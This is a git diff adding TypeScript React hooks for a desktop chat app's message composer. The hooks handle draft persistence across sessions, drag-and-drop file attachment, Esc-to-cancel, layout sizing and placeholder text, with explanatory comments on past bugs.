+  onComposerInsertRefsRequest,
+  onComposerInsertRequest,
+  releaseActiveComposer
+} from '../focus'
+import { type InlineRefInput, insertInlineRefsIntoEditor } from '../inline-refs'
+import {
+  composerPlainText,
+  normalizeComposerEditorDom,
+  placeCaretEnd,
+  REF_RE,
+  renderComposerContents
+} from '../rich-editor'
+import { useComposerScope } from '../scope'
+import type { ChatBarProps } from '../types'
+
+interface UseComposerDraftArgs {
+  activeQueueSessionKey: string | null
+  focusKey: ChatBarProps['focusKey']
+  inputDisabled: boolean
+  queueEditRef: RefObject<QueueEditState | null>
+  sessionId: string | null | undefined
+}
+
+/**
+ * The composer's draft engine — the detached source-of-truth spine. The live
+ * text lives in the contentEditable DOM + `draftRef`; React only sees coarse
+ * edge selectors, so typing never re-renders the chrome. Owns the imperative
+ * composer-runtime subscription (draftRef mirror + external repaint + debounced
+ * per-session stash), the edit primitives (append/insert/inline-refs), focus,
+ * and per-session load/clear/stash/restore. The contentEditable *event*
+ * handlers stay in ChatBar (they bridge into the trigger engine) and drive the
+ * primitives exposed here.
+ */
+export function useComposerDraft({
+  activeQueueSessionKey,
+  focusKey,
+  inputDisabled,
+  queueEditRef,
+  sessionId
+}: UseComposerDraftArgs) {
+  const aui = useAui()
+  const composerRuntime = useComposerRuntime()
+  // Which composer this is on the focus bus + which attachment set it owns.
+  const { attachments: attachmentScope, target } = useComposerScope()
+
+  // Coarse edges only — these flip rarely (empty↔non-empty, the `?` help sigil,
+  // steerable-vs-slash), so typing within a line costs no render.
+  const hasText = useAuiState(s => s.composer.text.trim().length > 0)
+  const isHelpHint = useAuiState(s => s.composer.text === '?')
+
+  const isSteerableText = useAuiState(s => {
+    const trimmed = s.composer.text.trim()
+
+    return trimmed.length > 0 && !SLASH_COMMAND_RE.test(trimmed)
+  })
+
+  // assistant-ui's composer mutators throw when the core isn't bound yet (a
+  // startup/thread-swap window); the DOM + draftRef hold the text and the
+  // subscription reconciles once it binds, so swallow the premature write.
+  const setComposerText = useCallback(
+    (value: string) => {
+      try {
+        aui.composer().setText(value)
+      } catch {
+        // Composer core not bound yet — DOM/draftRef carry the text.
+      }
+    },
+    [aui]
+  )
+
+  const editorRef = useRef<HTMLDivElement | null>(null)
+  const draftRef = useRef('')
+  const pendingDraftPersistRef = useRef<{ scope: string | null; text: string } | null>(null)
+  const draftPersistTimerRef = useRef<number | undefined>(undefined)
+  const activeQueueSessionKeyRef = useRef(activeQueueSessionKey)
+  activeQueueSessionKeyRef.current = activeQueueSessionKey
+  // Owned only by the swap effect below — unlike activeQueueSessionKeyRef this
+  // does NOT update on every render, so it always reflects the session whose
+  // text is actually loaded in the editor. Async work (debounce timers,
+  // pagehide flush) must persist against this, not the render-time ref, or a
+  // session switch mid-flight files one session's draft under another's key
+  // (#54527).
+  const draftScopeRef = useRef(activeQueueSessionKey)
+  const sessionIdRef = useRef(sessionId)
+  sessionIdRef.current = sessionId
+  const queueEditStateRef = useRef<QueueEditState | null>(queueEditRef.current)
+  queueEditStateRef.current = queueEditRef.current
+
+  const [focusRequestId, setFocusRequestId] = useState(0)
+
+  const focusInput = useCallback(() => {
+    focusComposerInput(editorRef.current)
+    markActiveComposer(target)
+  }, [target])
+
+  const requestMainFocus = useCallback(() => {
+    setFocusRequestId(id => id + 1)
+  }, [])
+
+  // The single write path for programmatic draft mutations: mirror → AUI state →
+  // repaint the editor (caret to end). Repaints even while focused — inserts /
+  // restores run mid-focus, and the runtime sync only repaints an unfocused
+  // editor — so the visible text never lags the store.
+  const paintDraft = useCallback(
+    (next: string, focus = true) => {
+      draftRef.current = next
+      setComposerText(next)
+
+      const editor = editorRef.current
+
+      if (editor) {
+        renderComposerContents(editor, next, { trailingCommitted: true })
+        placeCaretEnd(editor)
+      }
+
+      if (focus) {
+        requestMainFocus()
+      }
+    },
+    [requestMainFocus, setComposerText]
+  )
+
+  const appendExternalText = useCallback(
+    (text: string, mode: ComposerInsertMode) => {
+      const value = text.trim()
+
+      if (!value) {
+        return
+      }
+
+      const base = mode === 'inline' ? draftRef.current.trimEnd() : draftRef.current
+      const sep = mode === 'inline' ? (base ? ' ' : '') : base && !base.endsWith('\n') ? '\n\n' : ''
+
+      paintDraft(`${base}${sep}${value}`)
+    },
+    [paintDraft]
+  )
+
+  useEffect(() => {
+    if (!inputDisabled) {
+      focusInput()
+    }
+  }, [focusInput, focusKey, focusRequestId, inputDisabled])
+
+  // The mirror of the `markActiveComposer` above: give the key back when this
+  // composer goes away (a session tile closing, a pane unmounting). Covers both
+  // claim sites for this composer — `focusInput` here and ChatBar's `onFocus` —
+  // since they mark the same scope target. Without it `'active'` keeps
+  // resolving to a dead tile and every routed focus/insert request is dropped.
+  // (Heal-to-visible in focus.ts covers the keep-alive-tab case where the pane
+  // stays mounted behind the front tab; this covers true unmounts.)
+  useEffect(() => () => releaseActiveComposer(target), [target])
+
+  useEffect(() => {
+    if (inputDisabled) {
+      return undefined
+    }
+
+    const offFocus = onComposerFocusRequest(({ target: requested, typeChar }) => {
+      if (requested !== target) {
+        return
+      }
+
+      // Type-to-focus appends at end; bare Enter just focuses.
+      if (typeChar) {
+        paintDraft(`${draftRef.current}${typeChar}`, true)
+
+        return
+      }
+
+      setFocusRequestId(id => id + 1)
+    })
+
+    const offInsert = onComposerInsertRequest(({ mode, target: requested, text }) => {
+      if (requested === target) {
+        appendExternalText(text, mode)
+      }
+    })
+
+    return () => {
+      offFocus()
+      offInsert()
+    }
+  }, [appendExternalText, inputDisabled, paintDraft, target])
+
+  const stashAt = (scope: string | null, text = draftRef.current, attachments = attachmentScope.$attachments.get()) =>
+    stashSessionDraft(scope, text, attachments)
+
+  const loadIntoComposer = (text: string, attachments: ComposerAttachment[]) => {
+    // Diagnostic breadcrumb for #59305-class reports: identifies WHAT kind of
+    // state got restored into the composer (session switch, queue-edit
+    // restore, history browse) without logging any raw content. REF_RE has the
+    // global flag — testing against a throwaway clone avoids mutating the
+    // shared instance's lastIndex, which would otherwise corrupt this check on
+    // the next call.
+    if (attachments.length > 0 || new RegExp(REF_RE.source, REF_RE.flags).test(text)) {
+      console.debug('[composer-rehydrate]', {
+        attachmentCount: attachments.length,
+        attachmentKinds: attachments.map(a => a.kind),
+        hasTextRefs: new RegExp(REF_RE.source, REF_RE.flags).test(text),
+        scope: activeQueueSessionKeyRef.current
+      })
+    }
+
+    attachmentScope.$attachments.set(cloneAttachments(attachments))
+    paintDraft(text, false)
+  }
+
+  const clearDraft = useCallback(() => {
+    setComposerText('')
+    draftRef.current = ''
+
+    if (editorRef.current) {
+      editorRef.current.replaceChildren()
+    }
+  }, [setComposerText])
+
+  // Read the editor's current plain text into draftRef + composer state. This
+  // closes the "queued rAF flush hasn't run yet" window so scope-swap/pagehide
+  // persistence captures the latest keystrokes.
+  const syncDraftFromEditor = useCallback(() => {
+    const editor = editorRef.current
+
+    if (!editor) {
+      return draftRef.current
+    }
+
+    // Same normalize-then-sanitize the rAF flush does. An emptied editor still
+    // holds the placeholder <br> that keeps the contenteditable from collapsing
+    // to a sliver, and that serializes as "\n" — so an editor the user just
+    // cleared would otherwise stash a one-newline draft and come back non-empty.
+    normalizeComposerEditorDom(editor)
+
+    const text = sanitizeComposerInput(composerPlainText(editor))
+
+    if (text !== draftRef.current) {
+      draftRef.current = text
+      setComposerText(text)
+    }
+
+    return text
+  }, [setComposerText])
+
+  // Imperative draft sync — the spine of the "work only when work is to be
+  // performed" model. Subscribing to the composer runtime directly (not
+  // `useAuiState(text)` + a `[draft]` effect) keeps per-keystroke text out of
+  // React, so typing never re-renders the chrome. On each change we (1) mirror
+  // text into draftRef, (2) repaint the editor only when the change came from
+  // OUTSIDE it (programmatic clear/restore/insert; the focused editor is the
+  // source otherwise), and (3) schedule the debounced per-session stash.
+  // Browsing history / editing a queued prompt suppress the stash so recalled
+  // text never clobbers the draft.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const sync = () => {
+      const text = composerRuntime.getState().text
+      draftRef.current = text
+
+      const editor = editorRef.current
+
+      if (editor && document.activeElement !== editor && composerPlainText(editor) !== text) {
+        renderComposerContents(editor, text, { trailingCommitted: true })
+      }
+
+      if (isBrowsingHistory(sessionIdRef.current) || queueEditRef.current) {
+        return
+      }
+
+      const scope = draftScopeRef.current
+      const entry = { scope, text }
+      pendingDraftPersistRef.current = entry
+      window.clearTimeout(draftPersistTimerRef.current)
+      draftPersistTimerRef.current = window.setTimeout(() => {
+        // Integrity guard (defense-in-depth, #54527): only commit if this is
+        // still the pending write on file. A session swap or a newer
+        // keystroke clears/replaces it before firing in the normal case; this
+        // catches any future call site that skips that bookkeeping instead of
+        // silently filing text under the wrong session.
+        if (!isPendingDraftPersistCurrent(pendingDraftPersistRef.current, entry)) {
+          return
+        }
+
+        pendingDraftPersistRef.current = null
+        stashAt(scope, text)
+      }, DRAFT_PERSIST_DEBOUNCE_MS)
+    }
+
+    const unsubscribe = composerRuntime.subscribe(sync)
+
+    return () => {
+      unsubscribe()
+      window.clearTimeout(draftPersistTimerRef.current)
+    }
+  }, [composerRuntime, queueEditRef])
+
+  const insertText = (text: string) => {
+    const base = draftRef.current
+    const sep = base && !base.endsWith('\n') ? '\n' : ''
+
+    paintDraft(`${base}${sep}${text}`)
+  }
+
+  // insertInlineRefs mutates the editor in place (chips), so it can't go through
+  // paintDraft's re-render — it mirrors the resulting plain text and refocuses.
+  const insertInlineRefs = (refs: InlineRefInput[]) => {
+    const editor = editorRef.current
+
+    if (!editor) {
+      return false
+    }
+
+    const nextDraft = insertInlineRefsIntoEditor(editor, refs)
+
+    if (nextDraft === null) {
+      return false
+    }
+
+    draftRef.current = nextDraft
+    setComposerText(nextDraft)
+    requestMainFocus()
+
+    return true
+  }
+
+  // Latest-closure ref so the once-only subscription always calls the current
+  // insertInlineRefs without re-subscribing every render.
+  const insertInlineRefsRef = useRef(insertInlineRefs)
+  insertInlineRefsRef.current = insertInlineRefs
+
+  useEffect(() => {
+    return onComposerInsertRefsRequest(({ refs, target: requested }) => {
+      if (requested === target) {
+        insertInlineRefsRef.current(refs)
+      }
+    })
+  }, [target])
+
+  // Per-thread draft swap — the composer's only session coupling. Lifecycle
+  // never clears composer state; this effect alone stashes on leave, restores
+  // on enter. Keyed writes are idempotent, so no skip-sentinel.
+  //
+  // MUST be a layout effect, not a passive one: it swaps attachmentScope's
+  // module-level $attachments atom, and a passive effect fires only after the
+  // browser paints the new session's view — leaving a window where the DOM
+  // already shows session B while $attachments (and therefore ChatBar's
+  // `attachments` prop) still holds session A's chips. A submit fired in that
+  // window (e.g. a fast session switch immediately followed by Enter) would
+  // ship A's attachments into B's turn (#59305). useLayoutEffect closes the
+  // window by running before paint.
+
+  useLayoutEffect(() => {
+    // A pending debounce timer from the outgoing session is now stale — its
+    // scope was correct when scheduled, but the authoritative stash below
+    // (and the cleanup on the way out) already covers that text. Letting it
+    // fire later would just clobber with an older snapshot.
+    window.clearTimeout(draftPersistTimerRef.current)
+    pendingDraftPersistRef.current = null
+    draftScopeRef.current = activeQueueSessionKey
+
+    const { attachments, text } = takeSessionDraft(activeQueueSessionKey)
+    loadIntoComposer(text, attachments)
+
+    return () => {
+      const latestText = syncDraftFromEditor()
+      const editing = queueEditStateRef.current
+
+      if (editing?.sessionKey === activeQueueSessionKey) {
+        stashAt(activeQueueSessionKey, editing.draft, editing.attachments)
+      } else if (!isBrowsingHistory(sessionId)) {
+        stashAt(activeQueueSessionKey, latestText)
+      }
+    }
+  }, [activeQueueSessionKey]) // eslint-disable-line react-hooks/exhaustive-deps
+
+  // pagehide is load-bearing: React skips effect cleanups on reload, so Cmd+R
+  // inside the debounce/rAF window would drop trailing keystrokes without this.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const flushPendingDraftPersist = () => {
+      const scope = draftScopeRef.current
+      const editing = queueEditStateRef.current
+
+      if (editing?.sessionKey === scope || isBrowsingHistory(sessionIdRef.current)) {
+        return
+      }
+
+      const latestText = syncDraftFromEditor()
+      pendingDraftPersistRef.current = null
+      stashAt(scope, latestText)
+    }
+
+    window.addEventListener('pagehide', flushPendingDraftPersist)
+
+    return () => {
+      window.removeEventListener('pagehide', flushPendingDraftPersist)
+      flushPendingDraftPersist()
+    }
+  }, [syncDraftFromEditor])
+
+  return {
+    activeQueueSessionKeyRef,
+    clearDraft,
+    draftRef,
+    editorRef,
+    focusInput,
+    hasText,
+    insertInlineRefs,
+    insertText,
+    isHelpHint,
+    isSteerableText,
+    loadIntoComposer,
+    requestMainFocus,
+    sessionIdRef,
+    setComposerText,
+    stashAt,
+    syncDraftFromEditor
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-drop.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-drop.ts
new file mode 100644
index 000000000..2b99ec072
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-drop.ts
@@ -0,0 +1,164 @@
+import { type DragEvent as ReactDragEvent, useRef, useState } from 'react'
+
+import { triggerHaptic } from '@/lib/haptics'
+
+import { CLAWCODEX_PATHS_MIME, extractDroppedFiles, partitionDroppedFiles } from '../../hooks/use-composer-actions'
+import { dragHasAttachments, droppedFileInlineRefs, type InlineRefInput } from '../inline-refs'
+import type { ChatBarProps } from '../types'
+
+interface UseComposerDropArgs {
+  cwd: ChatBarProps['cwd']
+  insertInlineRefs: (refs: InlineRefInput[]) => boolean
+  onAttachDroppedItems: ChatBarProps['onAttachDroppedItems']
+  requestMainFocus: () => void
+}
+
+/**
+ * Drag-and-drop attachment engine. Splits drops by origin: in-app drags
+ * (project tree / gutter) stay inline `@file:`/`@line:` refs the gateway
+ * resolves directly; OS/Finder drops (absolute local paths a remote gateway
+ * can't read, image bytes vision needs) route through the upload pipeline.
+ * Off the keystroke path; consumes `insertInlineRefs` + the attach handler.
+ */
+export function useComposerDrop({
+  cwd,
+  insertInlineRefs,
+  onAttachDroppedItems,
+  requestMainFocus
+}: UseComposerDropArgs) {
+  const [dragActive, setDragActive] = useState(false)
+  const dragDepthRef = useRef(0)
+
+  const resetDragState = () => {
+    dragDepthRef.current = 0
+    setDragActive(false)
+  }
+
+  const handleDragEnter = (event: ReactDragEvent<HTMLFormElement>) => {
+    if (!onAttachDroppedItems || !dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    event.preventDefault()
+    dragDepthRef.current += 1
+
+    if (!dragActive) {
+      setDragActive(true)
+    }
+  }
+
+  const handleDragOver = (event: ReactDragEvent<HTMLFormElement>) => {
+    if (!onAttachDroppedItems || !dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    event.preventDefault()
+    event.dataTransfer.dropEffect = 'copy'
+  }
+
+  const handleDragLeave = (event: ReactDragEvent<HTMLFormElement>) => {
+    if (!onAttachDroppedItems) {
+      return
+    }
+
+    event.preventDefault()
+    dragDepthRef.current = Math.max(0, dragDepthRef.current - 1)
+
+    if (dragDepthRef.current === 0) {
+      setDragActive(false)
+    }
+  }
+
+  const handleDrop = (event: ReactDragEvent<HTMLFormElement>) => {
+    if (!onAttachDroppedItems) {
+      return
+    }
+
+    event.preventDefault()
+    resetDragState()
+
+    const candidates = extractDroppedFiles(event.dataTransfer)
+
+    if (candidates.length === 0) {
+      return
+    }
+
+    // In-app drags (project tree / gutter) are workspace-relative paths the
+    // gateway resolves directly, so they stay inline @file:/@line: refs. OS
+    // drops are absolute local paths a remote gateway can't read (and images
+    // need byte upload for vision), so route them through the upload pipeline.
+    const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+    const refs = droppedFileInlineRefs(inAppRefs, cwd)
+
+    if (refs.length && insertInlineRefs(refs)) {
+      triggerHaptic('selection')
+    }
+
+    if (osDrops.length) {
+      void Promise.resolve(onAttachDroppedItems(osDrops)).then(attached => {
+        if (attached) {
+          triggerHaptic('selection')
+          requestMainFocus()
+        }
+      })
+    }
+  }
+
+  const handleInputDragOver = (event: ReactDragEvent<HTMLDivElement>) => {
+    if (!dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    event.preventDefault()
+    event.stopPropagation()
+    event.dataTransfer.dropEffect = 'copy'
+  }
+
+  const handleInputDrop = (event: ReactDragEvent<HTMLDivElement>) => {
+    if (!dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    const candidates = extractDroppedFiles(event.dataTransfer)
+
+    if (!candidates.length) {
+      return
+    }
+
+    event.preventDefault()
+    event.stopPropagation()
+    resetDragState()
+
+    // Dropping straight onto the text box used to inline-ref *every* file —
+    // including OS/Finder drops, whose absolute local path a remote gateway
+    // can't read and whose image bytes never reached vision. Split by origin:
+    // in-app drags stay inline refs; OS drops go through the upload pipeline.
+    // (When no upload handler is wired, fall back to inline refs for all.)
+    const attach = onAttachDroppedItems
+    const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+    const refs = droppedFileInlineRefs(attach ? inAppRefs : candidates, cwd)
+
+    if (refs.length && insertInlineRefs(refs)) {
+      triggerHaptic('selection')
+    }
+
+    if (attach && osDrops.length) {
+      void Promise.resolve(attach(osDrops)).then(attached => {
+        if (attached) {
+          triggerHaptic('selection')
+          requestMainFocus()
+        }
+      })
+    }
+  }
+
+  return {
+    dragActive,
+    handleDragEnter,
+    handleDragLeave,
+    handleDragOver,
+    handleDrop,
+    handleInputDragOver,
+    handleInputDrop
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-esc-cancel.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-esc-cancel.ts
new file mode 100644
index 000000000..ff017edcf
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-esc-cancel.ts
@@ -0,0 +1,65 @@
+import { useEffect, useRef } from 'react'
+
+import { triggerHaptic } from '@/lib/haptics'
+
+import { type ComposerTarget, getActiveComposer } from '../focus'
+
+interface UseComposerEscCancelOptions {
+  awaitingInput: boolean
+  busy: boolean
+  onCancel: () => unknown
+  /** This composer's focus-bus key. With N composers mounted (main + tiles),
+   *  only the active one's Esc cancels — otherwise every busy tile stops. */
+  target: ComposerTarget
+}
+
+/**
+ * Global Esc-to-cancel: stop the in-flight turn when the CHAT (not the composer
+ * input, which has its own handler) has focus — clicking into the transcript and
+ * hitting Esc stops the run, matching the Stop button. A latest-handler ref keeps
+ * the window listener registered exactly once while still reading fresh
+ * busy/awaitingInput/onCancel each press.
+ */
+export function useComposerEscCancel({ awaitingInput, busy, onCancel, target }: UseComposerEscCancelOptions) {
+  // Intentional only: we bail if (a) the composer/another field already handled
+  // Esc (defaultPrevented), (b) focus is in any input/textarea/contenteditable
+  // (you're typing, not stopping), or (c) a dialog/popover is open — Esc must
+  // close that overlay, never double as canceling the stream behind it.
+  const escCancelRef = useRef<(event: globalThis.KeyboardEvent) => void>(() => {})
+
+  escCancelRef.current = (event: globalThis.KeyboardEvent) => {
+    // `awaitingInput`: the turn is parked on a clarify / approval / sudo / secret
+    // prompt, which owns Esc (or is meant to persist) — never cancel the stream
+    // out from under it.
+    if (event.key !== 'Escape' || event.defaultPrevented || !busy || awaitingInput) {
+      return
+    }
+
+    // Only the focused composer cancels — otherwise every mounted busy tile
+    // stops at once (and the winner would be mount-order arbitrary).
+    if (getActiveComposer() !== target) {
+      return
+    }
+
+    const active = document.activeElement as HTMLElement | null
+
+    if (active && (active.tagName === 'INPUT' || active.tagName === 'TEXTAREA' || active.isContentEditable)) {
+      return
+    }
+
+    if (document.querySelector('[role="dialog"],[role="alertdialog"],[data-radix-popper-content-wrapper]')) {
+      return
+    }
+
+    event.preventDefault()
+    triggerHaptic('cancel')
+    void Promise.resolve(onCancel())
+  }
+
+  useEffect(() => {
+    const onKeyDown = (event: globalThis.KeyboardEvent) => escCancelRef.current(event)
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => window.removeEventListener('keydown', onKeyDown)
+  }, [])
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-metrics.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-metrics.ts
new file mode 100644
index 000000000..7353dc102
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-metrics.ts
@@ -0,0 +1,197 @@
+import { useAuiState } from '@assistant-ui/react'
+import { type RefObject, useCallback, useEffect, useRef, useState } from 'react'
+
+import {
+  chatSurfaceRoot,
+  clearSurfaceVar,
+  COMPOSER_HEIGHT_VAR,
+  COMPOSER_SURFACE_HEIGHT_VAR,
+  setSurfaceVar
+} from '@/app/chat/surface-vars'
+import { useMediaQuery } from '@/hooks/use-media-query'
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+
+import { COMPOSER_COMPACT_PILL_PX, COMPOSER_SINGLE_LINE_MAX_PX, COMPOSER_STACK_BREAKPOINT_PX } from '../composer-utils'
+
+interface UseComposerMetricsArgs {
+  composerDockRef: RefObject<HTMLDivElement | null>
+  composerRef: RefObject<HTMLFormElement | null>
+  composerSurfaceRef: RefObject<HTMLDivElement | null>
+  editorRef: RefObject<HTMLDivElement | null>
+  poppedOut: boolean
+}
+
+/**
+ * Owns the composer's *sizing* engine: the stacked-vs-inline layout decision
+ * and the measured-height CSS vars the thread reads for bottom clearance. All
+ * work is edge-gated — the ResizeObserver only fires on real size changes, the
+ * height vars are 8px-bucketed so per-keystroke growth never invalidates the
+ * tree's computed style, and `tight` only flips when it crosses the breakpoint.
+ * Returns `stacked` (the only value the render needs).
+ */
+export function useComposerMetrics({
+  composerDockRef,
+  composerRef,
+  composerSurfaceRef,
+  editorRef,
+  poppedOut
+}: UseComposerMetricsArgs): {
+  compactPill: boolean
+  stacked: boolean
+} {
+  const [expanded, setExpanded] = useState(false)
+  const [tight, setTight] = useState(false)
+  // Wider than `tight`: the pill goes icon-only before the row has to stack.
+  const [compactPill, setCompactPill] = useState(false)
+  const narrow = useMediaQuery('(max-width: 30rem)')
+
+  // Edge signals, not the live text: these only re-render when emptiness / the
+  // presence of a non-trailing newline actually flips, so typing within a line
+  // costs nothing here.
+  const isEmpty = useAuiState(s => s.composer.text.length === 0)
+  const hasHardNewline = useAuiState(s => s.composer.text.trimEnd().includes('\n'))
+
+  // Expansion (input on its own full-width row, controls below) is driven by
+  // the editor's *actual* rendered height via the ResizeObserver in
+  // syncComposerMetrics — it only fires when the text genuinely wraps to a
+  // second line, so the layout flips exactly at the wrap point rather than at
+  // a guessed character count. We only handle the two cases the observer
+  // can't: an explicit newline (expand before layout settles) and an emptied
+  // draft (collapse back). We never read scrollHeight per keystroke.
+  useEffect(() => {
+    if (isEmpty) {
+      setExpanded(false)
+
+      return
+    }
+
+    if (expanded) {
+      return
+    }
+
+    // Only a non-trailing newline forces an immediate expand. A trailing newline
+    // (or phantom \n from contenteditable junk) is left to the ResizeObserver,
+    // which expands only when the editor's real height actually grows.
+    if (hasHardNewline) {
+      setExpanded(true)
+    }
+  }, [expanded, hasHardNewline, isEmpty])
+
+  // Bucket measured heights so we only invalidate the global CSS var when
+  // the size crosses a meaningful threshold. Without bucketing, the editor
+  // grows ~1px per character → setProperty fires every keystroke → entire
+  // tree's computed style is invalidated → next paint forces a full
+  // recalculate-style pass. With an 8px bucket, the invalidation rate drops
+  // ~8× and small char-by-char typing produces no style invalidation at all
+  // until a wrap or row change actually happens.
+  const lastBucketedHeightRef = useRef(0)
+  const lastBucketedSurfaceHeightRef = useRef(0)
+  const lastTightRef = useRef<boolean | null>(null)
+  const lastCompactPillRef = useRef<boolean | null>(null)
+  // Mirrored into a ref so `syncComposerMetrics` stays referentially stable —
+  // it's the shared ResizeObserver's handler, and a new identity every render
+  // would re-register the observation.
+  const poppedOutRef = useRef(poppedOut)
+  poppedOutRef.current = poppedOut
+
+  const syncComposerMetrics = useCallback(() => {
+    const composer = composerRef.current
+    // The dock is the full docked footprint — strips, status stack, composer —
+    // so it, not the composer alone, is what the thread has to clear.
+    const dock = composerDockRef.current
+
+    if (!composer || !dock) {
+      return
+    }
+
+    // Floating composer is out of the thread's flow — it must not reserve any
+    // bottom clearance. Zero the measured vars so the thread reclaims the space.
+    // Read through a ref so the callback stays stable, and read THIS surface's
+    // own state: pop-out is per layout zone, so a float in the left split must
+    // not zero the right split's clearance.
+    if (poppedOutRef.current) {
+      lastBucketedHeightRef.current = 0
+      lastBucketedSurfaceHeightRef.current = 0
+      setSurfaceVar(composer, COMPOSER_HEIGHT_VAR, '0px')
+      setSurfaceVar(composer, COMPOSER_SURFACE_HEIGHT_VAR, '0px')
+
+      return
+    }
+
+    const { height } = dock.getBoundingClientRect()
+    const { width } = composer.getBoundingClientRect()
+    const surfaceHeight = composerSurfaceRef.current?.getBoundingClientRect().height
+
+    if (width > 0) {
+      const nextTight = width < COMPOSER_STACK_BREAKPOINT_PX
+
+      if (nextTight !== lastTightRef.current) {
+        lastTightRef.current = nextTight
+        setTight(nextTight)
+      }
+
+      const nextCompactPill = width < COMPOSER_COMPACT_PILL_PX
+
+      if (nextCompactPill !== lastCompactPillRef.current) {
+        lastCompactPillRef.current = nextCompactPill
+        setCompactPill(nextCompactPill)
+      }
+    }
+
+    // Expand once the input has actually wrapped past a single line. The
+    // observer only fires on real size changes, so this reads scrollHeight at
+    // most once per wrap (not per keystroke). One line ≈ 28px (1.625rem
+    // min-height + padding); a second line clears ~36px. We only ever expand
+    // here — collapse is handled by the emptied-draft effect to avoid
+    // oscillating across the wrap boundary as the input switches widths.
+    const editor = editorRef.current
+
+    if (editor && editor.scrollHeight > COMPOSER_SINGLE_LINE_MAX_PX) {
+      setExpanded(true)
+    }
+
+    if (height > 0) {
+      const bucket = Math.round(height / 8) * 8
+
+      if (bucket !== lastBucketedHeightRef.current) {
+        lastBucketedHeightRef.current = bucket
+        setSurfaceVar(composer, COMPOSER_HEIGHT_VAR, `${bucket}px`)
+      }
+    }
+
+    if (surfaceHeight && surfaceHeight > 0) {
+      const bucket = Math.round(surfaceHeight / 8) * 8
+
+      if (bucket !== lastBucketedSurfaceHeightRef.current) {
+        lastBucketedSurfaceHeightRef.current = bucket
+        setSurfaceVar(composer, COMPOSER_SURFACE_HEIGHT_VAR, `${bucket}px`)
+      }
+    }
+  }, [composerDockRef, composerRef, composerSurfaceRef, editorRef])
+
+  useResizeObserver(syncComposerMetrics, composerDockRef, composerRef, composerSurfaceRef, editorRef)
+
+  // Toggling pop-out changes whether the composer reserves thread clearance.
+  // The ResizeObserver may not fire (the box can keep the same box size), so
+  // re-sync explicitly: docked republishes the measured height, floating zeroes
+  // it so the thread reclaims the bottom space.
+  useEffect(() => {
+    syncComposerMetrics()
+  }, [poppedOut, syncComposerMetrics])
+
+  useEffect(() => {
+    // Resolve the owning surface while the composer is still attached; the
+    // unmount cleanup runs after React detached the node, where closest() can
+    // no longer find [data-chat-surface].
+    const root = chatSurfaceRoot(composerRef.current)
+
+    return () => {
+      clearSurfaceVar(root, COMPOSER_HEIGHT_VAR)
+      clearSurfaceVar(root, COMPOSER_SURFACE_HEIGHT_VAR)
+    }
+  }, [composerRef])
+
+  // Pill compacts on real width (tile/pane), OR when stacked for any reason
+  // (viewport-narrow / wrapped) so the controls row never over-runs.
+  return { compactPill: compactPill || narrow || tight, stacked: expanded || narrow || tight }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-placeholder.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-placeholder.ts
new file mode 100644
index 000000000..75f568144
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-placeholder.ts
@@ -0,0 +1,61 @@
+import { useEffect, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { resetBrowseState } from '@/store/composer-input-history'
+
+import { pickPlaceholder } from '../composer-utils'
+
+interface UseComposerPlaceholderOptions {
+  disabled: boolean
+  reconnecting: boolean
+  sessionId: null | string | undefined
+}
+
+/**
+ * The composer's placeholder text. A resting starter (new session) / continuation
+ * (existing session) is picked once and only re-rolled when we genuinely move to
+ * a *different* conversation — the null→id persist of a freshly-started session
+ * keeps its starter so the text doesn't flip mid-stream. While the transport is
+ * down, it swaps to a reconnecting / starting message instead.
+ */
+export function useComposerPlaceholder({ disabled, reconnecting, sessionId }: UseComposerPlaceholderOptions): string {
+  const { t } = useI18n()
+  const newSessionPlaceholders = t.composer.newSessionPlaceholders
+  const followUpPlaceholders = t.composer.followUpPlaceholders
+
+  const [restingPlaceholder, setRestingPlaceholder] = useState(() =>
+    pickPlaceholder(sessionId ? followUpPlaceholders : newSessionPlaceholders)
+  )
+
+  const prevSessionIdRef = useRef(sessionId)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const prev = prevSessionIdRef.current
+    prevSessionIdRef.current = sessionId
+
+    if (prev === sessionId) {
+      return
+    }
+
+    // null → id: the new session we're already in just got persisted. Keep the
+    // starter we showed instead of swapping to a follow-up under the user.
+    if (prev == null && sessionId) {
+      return
+    }
+
+    resetBrowseState(prev)
+    setRestingPlaceholder(pickPlaceholder(sessionId ? followUpPlaceholders : newSessionPlaceholders))
+  }, [followUpPlaceholders, newSessionPlaceholders, sessionId])
+
+  // When the transport is disabled it's because the gateway isn't open.
+  // Distinguish a cold start ("Starting ClawCodex...") from a dropped connection
+  // we're trying to restore. During reconnect, keep the textbox editable so a
+  // flaky network doesn't block drafting; only submit/backend actions stay
+  // disabled until the gateway is open again.
+  return disabled
+    ? reconnecting
+      ? t.composer.placeholderReconnecting
+      : t.composer.placeholderStarting
+    : restingPlaceholder
+}
